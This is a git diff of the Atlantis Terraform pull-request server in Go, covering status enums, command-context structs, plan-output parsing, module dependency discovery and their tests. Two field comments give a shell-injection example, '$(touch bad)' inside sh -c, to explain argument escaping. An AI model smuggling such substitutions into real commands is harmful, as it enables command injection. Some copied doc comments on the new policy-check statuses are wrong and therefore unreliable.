ErroredApplyStatus @@ -490,6 +587,12 @@ const ( // DiscardedPlanStatus means that there was an unapplied plan that was // discarded due to a project being unlocked DiscardedPlanStatus + // ErroredPolicyCheckStatus means that there was an unapplied plan that was + // discarded due to a project being unlocked + ErroredPolicyCheckStatus + // PassedPolicyCheckStatus means that there was an unapplied plan that was + // discarded due to a project being unlocked + PassedPolicyCheckStatus ) // String returns a string representation of the status. @@ -499,39 +602,140 @@ func (p ProjectPlanStatus) String() string { return "plan_errored" case PlannedPlanStatus: return "planned" + case PlannedNoChangesPlanStatus: + return "planned_no_changes" case ErroredApplyStatus: return "apply_errored" case AppliedPlanStatus: return "applied" case DiscardedPlanStatus: return "plan_discarded" + case ErroredPolicyCheckStatus: + return "policy_check_errored" + case PassedPolicyCheckStatus: + return "policy_check_passed" default: panic("missing String() impl for ProjectPlanStatus") } } -// CommandName is which command to run. -type CommandName int +// TeamAllowlistCheckerContext defines the context for a TeamAllowlistChecker to verify +// command permissions. +type TeamAllowlistCheckerContext struct { + // BaseRepo is the repository that the pull request will be merged into. + BaseRepo Repo + + // The name of the command that is being executed, i.e. 'plan', 'apply' etc. + CommandName string -const ( - // ApplyCommand is a command to run terraform apply. - ApplyCommand CommandName = iota - // PlanCommand is a command to run terraform plan. - PlanCommand - // UnlockCommand is a command to discard previous plans as well as the atlantis locks. - UnlockCommand - // Adding more? Don't forget to update String() below -) + // EscapedCommentArgs are the extra arguments that were added to the atlantis + // command, ex. atlantis plan -- -target=resource. We then escape them + // by adding a \ before each character so that they can be used within + // sh -c safely, i.e. sh -c "terraform plan $(touch bad)". + EscapedCommentArgs []string + + // HeadRepo is the repository that is getting merged into the BaseRepo. + // If the pull request branch is from the same repository then HeadRepo will + // be the same as BaseRepo. + HeadRepo Repo + + // Log is a logger that's been set up for this context. + Log logging.SimpleLogging + + // Pull is the pull request we're responding to. + Pull PullRequest + + // ProjectName is the name of the project set in atlantis.yaml. If there was + // no name this will be an empty string. + ProjectName string + + // RepoDir is the absolute path to the repo root + RepoDir string + + // RepoRelDir is the directory of this project relative to the repo root. + RepoRelDir string + + // User is the user that triggered this command. + User User -// String returns the string representation of c. -func (c CommandName) String() string { - switch c { - case ApplyCommand: - return "apply" - case PlanCommand: - return "plan" - case UnlockCommand: - return "unlock" + // Verbose is true when the user would like verbose output. + Verbose bool + + // Workspace is the Terraform workspace this project is in. It will always + // be set. + Workspace string + + // API is true if plan/apply by API endpoints + API bool +} + +// WorkflowHookCommandContext defines the context for a pre and post workflow_hooks that will +// be executed before workflows. +type WorkflowHookCommandContext struct { + // BaseRepo is the repository that the pull request will be merged into. + BaseRepo Repo + // The name of the command that is being executed, i.e. 'plan', 'apply' etc. + CommandName string + // Set true if there were any errors during the command execution + CommandHasErrors bool + // EscapedCommentArgs are the extra arguments that were added to the atlantis + // command, ex. atlantis plan -- -target=resource. We then escape them + // by adding a \ before each character so that they can be used within + // sh -c safely, i.e. sh -c "terraform plan $(touch bad)". + EscapedCommentArgs []string + // HeadRepo is the repository that is getting merged into the BaseRepo. + // If the pull request branch is from the same repository then HeadRepo will + // be the same as BaseRepo. + HeadRepo Repo + // HookDescription is a description of the hook that is being executed. + HookDescription string + // UUID for reference + HookID string + // HookStepName is the name of the step that is being executed. + HookStepName string + // Log is a logger that's been set up for this context. + Log logging.SimpleLogging + // Pull is the pull request we're responding to. + Pull PullRequest + // ProjectName is the name of the project set in atlantis.yaml. If there was + // no name this will be an empty string. + ProjectName string + // RepoRelDir is the directory of this project relative to the repo root. + RepoRelDir string + // User is the user that triggered this command. + User User + // Verbose is true when the user would like verbose output. + Verbose bool + // Workspace is the Terraform workspace this project is in. It will always + // be set. + Workspace string + // API is true if plan/apply by API endpoints + API bool +} + +// PlanSuccessStats holds stats for a plan. +type PlanSuccessStats struct { + Import, Add, Change, Destroy int + Changes, ChangesOutside bool +} + +func NewPlanSuccessStats(output string) PlanSuccessStats { + m := rePlanChanges.FindStringSubmatch(output) + + s := PlanSuccessStats{ + ChangesOutside: reChangesOutside.MatchString(output), + Changes: len(m) > 0, } - return "" + + if s.Changes { + // We can skip checking the error here as we can assume + // Terraform output will always render an integer on these + // blocks. + s.Import, _ = strconv.Atoi(m[1]) + s.Add, _ = strconv.Atoi(m[2]) + s.Change, _ = strconv.Atoi(m[3]) + s.Destroy, _ = strconv.Atoi(m[4]) + } + + return s } diff --git a/server/events/models/models_test.go b/server/events/models/models_test.go index 3aee9ba89e..253aa52584 100644 --- a/server/events/models/models_test.go +++ b/server/events/models/models_test.go @@ -14,7 +14,6 @@ package models_test import ( - "errors" "fmt" "testing" @@ -169,27 +168,47 @@ func TestProject_String(t *testing.T) { func TestNewProject(t *testing.T) { cases := []struct { - path string - expPath string + repo string + path string + name string + expProject models.Project }{ { - "/", - ".", + repo: "foo/bar", + path: "/", + name: "", + expProject: models.Project{ + ProjectName: "", + RepoFullName: "foo/bar", + Path: ".", + }, }, { - "./another/path", - "another/path", + repo: "baz/foo", + path: "./another/path", + name: "somename", + expProject: models.Project{ + ProjectName: "somename", + RepoFullName: "baz/foo", + Path: "another/path", + }, }, { - ".", - ".", + repo: "baz/foo", + path: ".", + name: "somename", + expProject: models.Project{ + ProjectName: "somename", + RepoFullName: "baz/foo", + Path: ".", + }, }, } for _, c := range cases { - t.Run(c.path, func(t *testing.T) { - p := models.NewProject("repo/owner", c.path) - Equals(t, c.expPath, p.Path) + t.Run(fmt.Sprintf("%s_%s", c.name, c.path), func(t *testing.T) { + p := models.NewProject(c.repo, c.path, c.name) + Equals(t, c.expProject, p) }) } } @@ -356,96 +375,228 @@ func TestAzureDevopsSplitRepoFullName(t *testing.T) { } } -func TestProjectResult_IsSuccessful(t *testing.T) { - cases := map[string]struct { - pr models.ProjectResult - exp bool +func TestPlanSuccess_Summary(t *testing.T) { + cases := []struct { + input string + exp string }{ - "plan success": { - models.ProjectResult{ - PlanSuccess: &models.PlanSuccess{}, - }, - true, + { + "Note: Objects have changed outside of Terraform\ndummy\nPlan: 0 to add, 1 to change, 2 to destroy.", + "\n**Note: Objects have changed outside of Terraform**\nPlan: 0 to add, 1 to change, 2 to destroy.", }, - "apply success": { - models.ProjectResult{ - ApplySuccess: "success", - }, - true, + { + "dummy\nPlan: 100 to add, 111 to change, 222 to destroy.", + "Plan: 100 to add, 111 to change, 222 to destroy.", }, - "failure": { - models.ProjectResult{ - Failure: "failure", - }, - false, + { + "dummy\nPlan: 42 to import, 53 to add, 64 to change, 75 to destroy.", + "Plan: 42 to import, 53 to add, 64 to change, 75 to destroy.", }, - "error": { - models.ProjectResult{ - Error: errors.New("error"), - }, - false, + { + "Note: Objects have changed outside of Terraform\ndummy\nNo changes. Infrastructure is up-to-date.", + "\n**Note: Objects have changed outside of Terraform**\nNo changes. Infrastructure is up-to-date.", + }, + { + "dummy\nNo changes. Your infrastructure matches the configuration.", + "No changes. Your infrastructure matches the configuration.", }, } - - for name, c := range cases { - t.Run(name, func(t *testing.T) { - Equals(t, c.exp, c.pr.IsSuccessful()) + for i, c := range cases { + t.Run(fmt.Sprintf("summary %d", i), func(t *testing.T) { + pcs := models.PlanSuccess{ + TerraformOutput: c.input, + } + Equals(t, c.exp, pcs.Summary()) }) } } -func TestProjectResult_PlanStatus(t *testing.T) { +func TestPlanSuccess_DiffSummary(t *testing.T) { cases := []struct { - p models.ProjectResult - expStatus models.ProjectPlanStatus + input string + exp string }{ { - p: models.ProjectResult{ - Command: models.PlanCommand, - Error: errors.New("err"), - }, - expStatus: models.ErroredPlanStatus, + "Note: Objects have changed outside of Terraform\ndummy\nPlan: 0 to add, 1 to change, 2 to destroy.", + "Plan: 0 to add, 1 to change, 2 to destroy.", }, { - p: models.ProjectResult{ - Command: models.PlanCommand, - Failure: "failure", - }, - expStatus: models.ErroredPlanStatus, + "dummy\nPlan: 100 to add, 111 to change, 222 to destroy.", + "Plan: 100 to add, 111 to change, 222 to destroy.", }, { - p: models.ProjectResult{ - Command: models.PlanCommand, - PlanSuccess: &models.PlanSuccess{}, - }, - expStatus: models.PlannedPlanStatus, + "Note: Objects have changed outside of Terraform\ndummy\nNo changes. Infrastructure is up-to-date.", + "No changes. Infrastructure is up-to-date.", }, { - p: models.ProjectResult{ - Command: models.ApplyCommand, - Error: errors.New("err"), + "dummy\nNo changes. Your infrastructure matches the configuration.", + "No changes. Your infrastructure matches the configuration.", + }, + } + for i, c := range cases { + t.Run(fmt.Sprintf("summary %d", i), func(t *testing.T) { + pcs := models.PlanSuccess{ + TerraformOutput: c.input, + } + Equals(t, c.exp, pcs.DiffSummary()) + }) + } +} + +func TestPolicyCheckResults_Summary(t *testing.T) { + cases := []struct { + description string + policysetResults []models.PolicySetResult + exp string + }{ + { + description: "test single format with single policy set", + policysetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + PolicyOutput: "20 tests, 19 passed, 2 warnings, 0 failures, 0 exceptions", + }, + }, + exp: "policy set: policy1: 20 tests, 19 passed, 2 warnings, 0 failures, 0 exceptions", + }, + { + description: "test multiple formats with multiple policy sets", + policysetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + PolicyOutput: "20 tests, 19 passed, 2 warnings, 0 failures, 0 exceptions", + }, + { + PolicySetName: "policy2", + PolicyOutput: "3 tests, 0 passed, 1 warning, 1 failure, 0 exceptions, 1 skipped", + }, + { + PolicySetName: "policy3", + PolicyOutput: "1 test, 0 passed, 1 warning, 1 failure, 1 exception", + }, }, - expStatus: models.ErroredApplyStatus, + exp: `policy set: policy1: 20 tests, 19 passed, 2 warnings, 0 failures, 0 exceptions +policy set: policy2: 3 tests, 0 passed, 1 warning, 1 failure, 0 exceptions, 1 skipped +policy set: policy3: 1 test, 0 passed, 1 warning, 1 failure, 1 exception`, }, + } + for _, summary := range cases { + t.Run(summary.description, func(t *testing.T) { + pcs := models.PolicyCheckResults{ + PolicySetResults: summary.policysetResults, + } + Equals(t, summary.exp, pcs.Summary()) + }) + } +} + +// Test PolicyCleared and PolicySummary +func TestPolicyCheckResults_PolicyFuncs(t *testing.T) { + cases := []struct { + description string + policysetResults []models.PolicySetResult + policyClearedExp bool + policySummaryExp string + }{ { - p: models.ProjectResult{ - Command: models.ApplyCommand, - Failure: "failure", + description: "single policy set, not passed", + policysetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + Passed: false, + ReqApprovals: 1, + }, }, - expStatus: models.ErroredApplyStatus, + policyClearedExp: false, + policySummaryExp: "policy set: policy1: requires: 1 approval(s), have: 0.", }, { - p: models.ProjectResult{ - Command: models.ApplyCommand, - ApplySuccess: "success", + description: "single policy set, passed", + policysetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + Passed: true, + ReqApprovals: 1, + }, + }, + policyClearedExp: true, + policySummaryExp: "policy set: policy1: passed.", + }, + { + description: "single policy set, fully approved", + policysetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + Passed: false, + ReqApprovals: 1, + CurApprovals: 1, + }, + }, + policyClearedExp: true, + policySummaryExp: "policy set: policy1: approved.", + }, + { + description: "multiple policy sets, different states.", + policysetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + Passed: false, + ReqApprovals: 2, + CurApprovals: 0, + }, + { + PolicySetName: "policy2", + Passed: false, + ReqApprovals: 1, + CurApprovals: 1, + }, + { + PolicySetName: "policy3", + Passed: true, + ReqApprovals: 1, + CurApprovals: 0, + }, }, - expStatus: models.AppliedPlanStatus, + policyClearedExp: false, + policySummaryExp: `policy set: policy1: requires: 2 approval(s), have: 0. +policy set: policy2: approved. +policy set: policy3: passed.`, + }, + { + description: "multiple policy sets, all cleared.", + policysetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + Passed: false, + ReqApprovals: 2, + CurApprovals: 2, + }, + { + PolicySetName: "policy2", + Passed: false, + ReqApprovals: 1, + CurApprovals: 1, + }, + { + PolicySetName: "policy3", + Passed: true, + ReqApprovals: 1, + CurApprovals: 0, + }, + }, + policyClearedExp: true, + policySummaryExp: `policy set: policy1: approved. +policy set: policy2: approved. +policy set: policy3: passed.`, }, } - - for _, c := range cases { - t.Run(c.expStatus.String(), func(t *testing.T) { - Equals(t, c.expStatus, c.p.PlanStatus()) + for _, summary := range cases { + t.Run(summary.description, func(t *testing.T) { + pcs := models.PolicyCheckResults{ + PolicySetResults: summary.policysetResults, + } + Equals(t, summary.policyClearedExp, pcs.PolicyCleared()) + Equals(t, summary.policySummaryExp, pcs.PolicySummary()) }) } } @@ -468,6 +619,12 @@ func TestPullStatus_StatusCount(t *testing.T) { { Status: models.DiscardedPlanStatus, }, + { + Status: models.ErroredPolicyCheckStatus, + }, + { + Status: models.PassedPolicyCheckStatus, + }, }, } @@ -476,22 +633,96 @@ func TestPullStatus_StatusCount(t *testing.T) { Equals(t, 1, ps.StatusCount(models.ErroredApplyStatus)) Equals(t, 0, ps.StatusCount(models.ErroredPlanStatus)) Equals(t, 1, ps.StatusCount(models.DiscardedPlanStatus)) + Equals(t, 1, ps.StatusCount(models.ErroredPolicyCheckStatus)) + Equals(t, 1, ps.StatusCount(models.PassedPolicyCheckStatus)) } -func TestApplyCommand_String(t *testing.T) { - uc := models.ApplyCommand - - Equals(t, "apply", uc.String()) -} - -func TestPlanCommand_String(t *testing.T) { - uc := models.PlanCommand - - Equals(t, "plan", uc.String()) -} - -func TestUnlockCommand_String(t *testing.T) { - uc := models.UnlockCommand +func TestPlanSuccessStats(t *testing.T) { + tests := []struct { + name string + output string + exp models.PlanSuccessStats + }{ + { + "has changes", + `An execution plan has been generated and is shown below. + Resource actions are indicated with the following symbols: + - destroy + Terraform will perform the following actions: + - null_resource.hi[1] + Plan: 1 to add, 3 to change, 2 to destroy.`, + models.PlanSuccessStats{ + Changes: true, + + Add: 1, + Change: 3, + Destroy: 2, + }, + }, + { + "no changes", + `An execution plan has been generated and is shown below. + Resource actions are indicated with the following symbols: + No changes. Infrastructure is up-to-date.`, + models.PlanSuccessStats{}, + }, + { + "changes outside", + `Note: Objects have changed outside of Terraform + Terraform detected the following changes made outside of Terraform since the + last "terraform apply": + No changes. Your infrastructure matches the configuration.`, + models.PlanSuccessStats{ + ChangesOutside: true, + }, + }, + { + "with imports", + `Terraform used the selected providers to generate the following execution + plan. Resource actions are indicated with the following symbols: + + create + ~ update in-place + - destroy + Terraform will perform the following actions: + - null_resource.hi[1] + Plan: 42 to import, 31 to add, 20 to change, 1 to destroy.`, + models.PlanSuccessStats{ + Changes: true, + + Import: 42, + Add: 31, + Change: 20, + Destroy: 1, + }, + }, + { + "changes and changes outside", + `Note: Objects have changed outside of Terraform + Terraform detected the following changes made outside of Terraform since the + last "terraform apply": + An execution plan has been generated and is shown below. + Resource actions are indicated with the following symbols: + - destroy + Terraform will perform the following actions: + - null_resource.hi[1] + Plan: 3 to add, 0 to change, 1 to destroy.`, + models.PlanSuccessStats{ + Changes: true, + ChangesOutside: true, + + Add: 3, + Change: 0, + Destroy: 1, + }, + }, + } - Equals(t, "unlock", uc.String()) + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + s := models.NewPlanSuccessStats(tt.output) + if s != tt.exp { + t.Errorf("\nexp: %#v\ngot: %#v", tt.exp, s) + } + }) + } } diff --git a/server/events/models/testdata/fixtures.go b/server/events/models/testdata/fixtures.go new file mode 100644 index 0000000000..c90968a080 --- /dev/null +++ b/server/events/models/testdata/fixtures.go @@ -0,0 +1,65 @@ +// Copyright 2017 HootSuite Media Inc. +// +// Licensed under the Apache License, Version 2.0 (the License); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an AS IS BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Modified hereafter by contributors to runatlantis/atlantis. + +package testdata + +import ( + "fmt" + + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/events/models" +) + +var Pull = models.PullRequest{ + Num: 1, + HeadCommit: "16ca62f65c18ff456c6ef4cacc8d4826e264bb17", + HeadBranch: "branch", + Author: "lkysow", + URL: "url", +} + +var GithubRepo = models.Repo{ + CloneURL: "https://user:password@github.com/runatlantis/atlantis.git", + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + SanitizedCloneURL: "https://github.com/runatlantis/atlantis.git", + Name: "atlantis", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, +} + +var GitlabRepo = models.Repo{ + CloneURL: "https://user:password@github.com/runatlantis/atlantis.git", + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + SanitizedCloneURL: "https://gitlab.com/runatlantis/atlantis.git", + Name: "atlantis", + VCSHost: models.VCSHost{ + Hostname: "gitlab.com", + Type: models.Gitlab, + }, +} + +var User = models.User{ + Username: "lkysow", +} + +var projectName = "test-project" + +var Project = valid.Project{ + Name: &projectName, +} + +var PullInfo = fmt.Sprintf("%s/%d/%s", GithubRepo.FullName, Pull.Num, *Project.Name) diff --git a/server/events/modules.go b/server/events/modules.go new file mode 100644 index 0000000000..396cd59d8a --- /dev/null +++ b/server/events/modules.go @@ -0,0 +1,161 @@ +package events + +import ( + "fmt" + "io/fs" + "os" + "path" + "strings" + + "github.com/hashicorp/terraform-config-inspect/tfconfig" + "github.com/moby/patternmatcher" +) + +type module struct { + // path to the module + path string + // dependencies of this module + dependencies map[string]bool + // projects that depend on this module + projects map[string]bool +} + +func (m *module) String() string { + if m == nil { + return "nil" + } + return fmt.Sprintf("%+v", *m) +} + +type ModuleProjects interface { + // DependentProjects returns all projects that depend on the module at moduleDir + DependentProjects(moduleDir string) []string +} + +type moduleInfo map[string]*module + +var _ ModuleProjects = moduleInfo{} + +func (m moduleInfo) String() string { + return fmt.Sprintf("%+v", map[string]*module(m)) +} + +func (m moduleInfo) DependentProjects(moduleDir string) (projectPaths []string) { + if m == nil || m[moduleDir] == nil { + return nil + } + for project := range m[moduleDir].projects { + projectPaths = append(projectPaths, project) + } + return projectPaths +} + +type tfFs struct { + fs.FS +} + +func (t tfFs) Open(name string) (tfconfig.File, error) { + return t.FS.Open(name) +} + +func (t tfFs) ReadFile(name string) ([]byte, error) { + return fs.ReadFile(t.FS, name) +} + +func (t tfFs) ReadDir(dirname string) ([]os.FileInfo, error) { + ls, err := fs.ReadDir(t.FS, dirname) + if err != nil { + return nil, err + } + var infos []os.FileInfo + for _, l := range ls { + info, err := l.Info() + if err != nil { + return nil, fmt.Errorf("failed to get info for %s: %w", l.Name(), err) + } + infos = append(infos, info) + } + return infos, err +} + +var _ tfconfig.FS = tfFs{} + +func (m moduleInfo) load(files fs.FS, dir string, projects ...string) (_ *module, diags tfconfig.Diagnostics) { + if _, set := m[dir]; !set { + tfFiles := tfFs{files} + var mod *tfconfig.Module + mod, diags = tfconfig.LoadModuleFromFilesystem(tfFiles, dir) + + deps := make(map[string]bool) + if mod != nil { + for _, c := range mod.ModuleCalls { + mPath := path.Join(dir, c.Source) + if !tfconfig.IsModuleDirOnFilesystem(tfFiles, mPath) { + continue + } + deps[mPath] = true + } + } + + m[dir] = &module{ + path: dir, + dependencies: deps, + projects: make(map[string]bool), + } + } + // set projects on my dependencies + for dep := range m[dir].dependencies { + _, err := m.load(files, dep, projects...) + if err != nil { + diags = append(diags, err...) + } + } + // add projects to the list of dependant projects + for _, p := range projects { + m[dir].projects[p] = true + } + return m[dir], diags +} + +// FindModuleProjects returns a mapping of modules to projects that depend on them. +func FindModuleProjects(absRepoDir string, autoplanModuleDependants string) (ModuleProjects, error) { + return findModuleDependants(os.DirFS(absRepoDir), autoplanModuleDependants) +} + +func findModuleDependants(files fs.FS, autoplanModuleDependants string) (ModuleProjects, error) { + if autoplanModuleDependants == "" { + return moduleInfo{}, nil + } + // find all the projects matching autoplanModuleDependants + filter, _ := patternmatcher.New(strings.Split(autoplanModuleDependants, ",")) + var projects []string + err := fs.WalkDir(files, ".", func(rel string, info fs.DirEntry, err error) error { + if match, _ := filter.MatchesOrParentMatches(rel); match { + if projectDir := getProjectDirFromFs(files, rel); projectDir != "" { + projects = append(projects, projectDir) + } + } + return err + }) + if err != nil { + return nil, fmt.Errorf("find projects for module dependants: %w", err) + } + + result := make(moduleInfo) + var diags tfconfig.Diagnostics + // for each project, find the modules it depends on, their deps, etc. + for _, projectDir := range projects { + if _, err := result.load(files, projectDir, projectDir); err != nil { + diags = append(diags, err...) + } + } + // if there are any errors, prefer one with a source location + if diags.HasErrors() { + for _, d := range diags { + if d.Pos != nil { + return nil, fmt.Errorf("%s:%d - %s: %s", d.Pos.Filename, d.Pos.Line, d.Summary, d.Detail) + } + } + } + return result, diags.Err() +} diff --git a/server/events/modules_test.go b/server/events/modules_test.go new file mode 100644 index 0000000000..e5cc9798c6 --- /dev/null +++ b/server/events/modules_test.go @@ -0,0 +1,72 @@ +package events + +import ( + "embed" + "fmt" + "io/fs" + "sort" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +//go:embed testdata/fs +var repos embed.FS + +func Test_findModuleDependants(t *testing.T) { + + type args struct { + files fs.FS + autoplanModuleDependants string + } + a, err := fs.Sub(repos, "testdata/fs/repoA") + require.NoError(t, err) + b, err := fs.Sub(repos, "testdata/fs/repoB") + require.NoError(t, err) + + tests := []struct { + name string + args args + want map[string][]string + wantErr assert.ErrorAssertionFunc + }{ + { + name: "repoA", + args: args{ + files: a, + autoplanModuleDependants: "**/init.tf", + }, + want: map[string][]string{ + "modules/bar": {"baz", "qux/quxx"}, + "modules/foo": {"qux/quxx"}, + }, + wantErr: assert.NoError, + }, + { + name: "repoB", + args: args{ + files: b, + autoplanModuleDependants: "**/init.tf", + }, + want: map[string][]string{ + "modules/bar": {"dev/quxx", "prod/quxx"}, + "modules/foo": {"dev/quxx", "prod/quxx"}, + }, + wantErr: assert.NoError, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got, err := findModuleDependants(tt.args.files, tt.args.autoplanModuleDependants) + if !tt.wantErr(t, err, fmt.Sprintf("findModuleDependants(%v, %v)", tt.args.files, tt.args.autoplanModuleDependants)) { + return + } + for k, v := range tt.want { + projects := got.DependentProjects(k) + sort.Strings(projects) + assert.Equalf(t, v, projects, "%v.DownstreamProjects(%v)", got, k) + } + }) + } +} diff --git a/server/events/pending_plan_finder.go b/server/events/pending_plan_finder.go index e57789cecd..709f0df972 100644 --- a/server/events/pending_plan_finder.go +++ b/server/events/pending_plan_finder.go @@ -1,17 +1,17 @@ package events import ( - "io/ioutil" "os" "os/exec" "path/filepath" "strings" "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events/runtime" + "github.com/runatlantis/atlantis/server/core/runtime" + "github.com/runatlantis/atlantis/server/utils" ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_pending_plan_finder.go PendingPlanFinder +//go:generate pegomock generate --package mocks -o mocks/mock_pending_plan_finder.go PendingPlanFinder type PendingPlanFinder interface { Find(pullDir string) ([]PendingPlan, error) @@ -43,7 +43,7 @@ func (p *DefaultPendingPlanFinder) Find(pullDir string) ([]PendingPlan, error) { } func (p *DefaultPendingPlanFinder) findWithAbsPaths(pullDir string) ([]PendingPlan, []string, error) { - workspaceDirs, err := ioutil.ReadDir(pullDir) + workspaceDirs, err := os.ReadDir(pullDir) if err != nil { return nil, nil, err } @@ -59,8 +59,7 @@ func (p *DefaultPendingPlanFinder) findWithAbsPaths(pullDir string) ([]PendingPl lsCmd.Dir = repoDir lsOut, err := lsCmd.CombinedOutput() if err != nil { - return nil, nil, errors.Wrapf(err, "running git ls-files . "+ - "--others: %s", string(lsOut)) + return nil, nil, errors.Wrapf(err, "running 'git ls-files . --others' in '%s' directory: %s", repoDir, string(lsOut)) } for _, file := range strings.Split(string(lsOut), "\n") { if filepath.Ext(file) == ".tfplan" { @@ -93,7 +92,7 @@ func (p *DefaultPendingPlanFinder) DeletePlans(pullDir string) error { return err } for _, path := range absPaths { - if err := os.Remove(path); err != nil { + if err := utils.RemoveIgnoreNonExistent(path); err != nil { return errors.Wrapf(err, "delete plan at %s", path) } } diff --git a/server/events/pending_plan_finder_test.go b/server/events/pending_plan_finder_test.go index 07e6fd2edc..7319e71f1a 100644 --- a/server/events/pending_plan_finder_test.go +++ b/server/events/pending_plan_finder_test.go @@ -1,6 +1,7 @@ package events_test import ( + "fmt" "os" "os/exec" "path/filepath" @@ -18,6 +19,28 @@ func TestPendingPlanFinder_FindNoDir(t *testing.T) { ErrEquals(t, "open /doesntexist: no such file or directory", err) } +// If one of the dir in PR dir is not git dir then it should throw an error. +func TestPendingPlanFinder_FindIncludingNotGitDir(t *testing.T) { + gitDirName := ".default" + notGitDirName := ".terragrunt-cache" + tmpDir := DirStructure(t, map[string]interface{}{ + gitDirName: map[string]interface{}{ + "default.tfplan": nil, + }, + notGitDirName: map[string]interface{}{ + "some_file.tfplan": nil, + }, + }) + // Initialize git in 'default' directory + gitDir := filepath.Join(tmpDir, gitDirName) + runCmd(t, gitDir, "git", "init") + pf := &events.DefaultPendingPlanFinder{} + + _, err := pf.Find(tmpDir) + ErrEquals(t, fmt.Sprintf("running 'git ls-files . --others' in '%s/%s' directory: fatal: "+ + "not a git repository (or any of the parent directories): .git\n: exit status 128", tmpDir, notGitDirName), err) +} + // Test different directory structures. func TestPendingPlanFinder_Find(t *testing.T) { cases := []struct { @@ -185,8 +208,7 @@ func TestPendingPlanFinder_Find(t *testing.T) { pf := &events.DefaultPendingPlanFinder{} for _, c := range cases { t.Run(c.description, func(t *testing.T) { - tmpDir, cleanup := DirStructure(t, c.files) - defer cleanup() + tmpDir := DirStructure(t, c.files) // Create a git repo in each workspace directory. for dirname, contents := range c.files { @@ -212,12 +234,11 @@ func TestPendingPlanFinder_Find(t *testing.T) { // If a planfile is checked in to git, we shouldn't use it. func TestPendingPlanFinder_FindPlanCheckedIn(t *testing.T) { - tmpDir, cleanup := DirStructure(t, map[string]interface{}{ + tmpDir := DirStructure(t, map[string]interface{}{ "default": map[string]interface{}{ "default.tfplan": nil, }, }) - defer cleanup() // Add that file to git. repoDir := filepath.Join(tmpDir, "default") @@ -226,7 +247,8 @@ func TestPendingPlanFinder_FindPlanCheckedIn(t *testing.T) { runCmd(t, repoDir, "git", "add", ".") runCmd(t, repoDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, repoDir, "git", "config", "--local", "user.name", "atlantisbot") - runCmd(t, repoDir, "git", "commit", "--no-gpg-sign", "-m", "initial commit") + runCmd(t, repoDir, "git", "config", "--local", "commit.gpgsign", "false") + runCmd(t, repoDir, "git", "commit", "-m", "initial commit") pf := &events.DefaultPendingPlanFinder{} actPlans, err := pf.Find(tmpDir) @@ -234,6 +256,22 @@ func TestPendingPlanFinder_FindPlanCheckedIn(t *testing.T) { Equals(t, 0, len(actPlans)) } +func runCmdErrCode(t *testing.T, dir string, errCode int, name string, args ...string) string { + t.Helper() + cpCmd := exec.Command(name, args...) + cpCmd.Dir = dir + cpOut, err := cpCmd.CombinedOutput() + cmd := strings.Join(append([]string{name}, args...), " ") + if err != nil { + if eerr, ok := err.(*exec.ExitError); ok { + Assert(t, errCode == eerr.ExitCode(), "unexpected exit code: want %v, got %v, running %q: %s", errCode, eerr.ExitCode(), cmd, cpCmd) + return string(cpOut) + } + } + Assert(t, false, "invalid exit code, running %q: %s", cmd, cpOut) + return string(cpOut) +} + // Test that it deletes pending plans. func TestPendingPlanFinder_DeletePlans(t *testing.T) { files := map[string]interface{}{ @@ -246,9 +284,7 @@ func TestPendingPlanFinder_DeletePlans(t *testing.T) { }, }, } - tmp, cleanup := DirStructure(t, - files) - defer cleanup() + tmp := DirStructure(t, files) // Create a git repo in each workspace directory. for dirname, contents := range files { diff --git a/server/events/plan_command_runner.go b/server/events/plan_command_runner.go new file mode 100644 index 0000000000..cbc29a934b --- /dev/null +++ b/server/events/plan_command_runner.go @@ -0,0 +1,392 @@ +package events + +import ( + "strconv" + + "github.com/runatlantis/atlantis/server/core/locking" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/vcs" +) + +func NewPlanCommandRunner( + silenceVCSStatusNoPlans bool, + silenceVCSStatusNoProjects bool, + vcsClient vcs.Client, + pendingPlanFinder PendingPlanFinder, + workingDir WorkingDir, + commitStatusUpdater CommitStatusUpdater, + projectCommandBuilder ProjectPlanCommandBuilder, + projectCommandRunner ProjectPlanCommandRunner, + dbUpdater *DBUpdater, + pullUpdater *PullUpdater, + policyCheckCommandRunner *PolicyCheckCommandRunner, + autoMerger *AutoMerger, + parallelPoolSize int, + SilenceNoProjects bool, + pullStatusFetcher PullStatusFetcher, + lockingLocker locking.Locker, + discardApprovalOnPlan bool, + pullReqStatusFetcher vcs.PullReqStatusFetcher, +) *PlanCommandRunner { + return &PlanCommandRunner{ + silenceVCSStatusNoPlans: silenceVCSStatusNoPlans, + silenceVCSStatusNoProjects: silenceVCSStatusNoProjects, + vcsClient: vcsClient, + pendingPlanFinder: pendingPlanFinder, + workingDir: workingDir, + commitStatusUpdater: commitStatusUpdater, + prjCmdBuilder: projectCommandBuilder, + prjCmdRunner: projectCommandRunner, + dbUpdater: dbUpdater, + pullUpdater: pullUpdater, + policyCheckCommandRunner: policyCheckCommandRunner, + autoMerger: autoMerger, + parallelPoolSize: parallelPoolSize, + SilenceNoProjects: SilenceNoProjects, + pullStatusFetcher: pullStatusFetcher, + lockingLocker: lockingLocker, + DiscardApprovalOnPlan: discardApprovalOnPlan, + pullReqStatusFetcher: pullReqStatusFetcher, + } +} + +type PlanCommandRunner struct { + vcsClient vcs.Client + // SilenceNoProjects 